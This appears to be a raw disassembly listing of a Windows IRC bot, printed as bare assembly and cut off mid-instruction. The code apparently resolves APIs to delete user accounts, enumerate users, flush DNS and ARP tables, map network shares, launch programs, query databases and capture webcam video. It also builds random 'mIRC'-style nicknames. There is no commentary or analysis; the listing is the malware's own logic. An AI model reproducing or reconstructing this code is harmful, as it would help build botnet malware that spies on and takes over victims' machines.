call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j call near ptr 26709C5h nop mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 26709C5h mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 26709C5h mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j call near ptr 26709C5h nop mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 26709C5h mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j call near ptr 26709C5h nop mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 26709C5h mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 0C5h, 5Bh ; --------------------------------------------------------------------------- daa add dl, [eax-18h] test al, 0Bh add [eax], eax mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 26808EFh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi nop call near ptr 26B0000h movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26C0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26C0578h nop call near ptr 26808EFh push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26808EFh xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 2680979h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], 